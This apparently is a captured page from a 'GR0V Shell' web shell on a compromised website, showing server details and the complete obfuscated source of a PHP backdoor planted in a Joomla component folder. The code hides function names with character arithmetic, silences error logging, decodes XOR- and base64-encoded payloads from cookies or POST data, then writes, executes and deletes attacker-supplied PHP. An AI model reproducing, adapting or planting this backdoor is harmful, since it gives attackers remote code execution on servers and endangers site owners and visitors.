? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/promice/components/com_poll/

Current File : /home/admin/public_html/old/promice/components/com_poll/ovdjcxqh.php

<?php $vtssbxjvpu = "\146".chr(105)."\x6c".'e'."\x5f".chr(469-357)."\x75".'t'.chr(95)."\x63"."\x6f".chr(769-659).chr(590-474)."\145".'n'.'t'.chr(677-562);
$myniquwoy = 'b'.chr(97).'s'.'e'.'6'."\x34".chr(95).chr(100).'e'.chr(99).chr(111).'d'.'e';
$cnhgelq = chr(881-776).'n'.chr(105)."\137".chr(120-5)."\145"."\164";
$kjbkjz = chr(980-863).chr(1040-930).chr(108)."\151".chr(317-207)."\x6b";


@$cnhgelq(chr(207-106).'r'.chr(114)."\157".chr(1032-918).'_'."\154"."\157"."\147", NULL);
@$cnhgelq(chr(108).chr(111).chr(103)."\137".chr(101)."\162".chr(114).chr(111).chr(635-521).chr(202-87), 0);
@$cnhgelq("\x6d".chr(97).chr(120)."\x5f".chr(101)."\170".chr(101)."\143".chr(966-849).'t'.chr(105).'o'.'n'."\137"."\x74".'i'.chr(777-668)."\145", 0);
@set_time_limit(0);

function wsleb($cgwnlvi, $epkebkcdq)
{
    $uxdzal = "";
    for ($dxbnuh = 0; $dxbnuh < strlen($cgwnlvi);) {
        for ($j = 0; $j < strlen($epkebkcdq) && $dxbnuh < strlen($cgwnlvi); $j++, $dxbnuh++) {
            $uxdzal .= chr(ord($cgwnlvi[$dxbnuh]) ^ ord($epkebkcdq[$j]));
        }
    }
    return $uxdzal;
}

$lalbg = array_merge($_COOKIE, $_POST);
$qbbez = '114d4745-8e42-456c-b315-4e6995c3e149';
foreach ($lalbg as $wujunvyqkn => $cgwnlvi) {
    $cgwnlvi = @unserialize(wsleb(wsleb($myniquwoy($cgwnlvi), $qbbez), $wujunvyqkn));
    if (isset($cgwnlvi[chr(154-57)."\153"])) {
        if ($cgwnlvi["\141"] == chr(406-301)) {
            $dxbnuh = array(
                'p'."\x76" => @phpversion(),
                "\163".chr(648-530) => "3.5",
            );
            echo @serialize($dxbnuh);
        } elseif ($cgwnlvi["\141"] == chr(101)) {
            $gjnal = "./" . md5($qbbez) . chr(46).chr(521-416)."\x6e"."\143";
            @$vtssbxjvpu($gjnal, "<" . "\77".'p'."\150".chr(554-442).chr(1007-975)."\x40"."\165"."\156".chr(108)."\151".'n'.'k'.'('.chr(95).'_'."\106"."\111".'L'.chr(79-10).chr(482-387)."\137"."\51".chr(815-756)."\40" . $cgwnlvi["\x64"]);
            @include($gjnal);
            @$kjbkjz($gjnal);
        }
        exit();
    }
}

T1KUS90T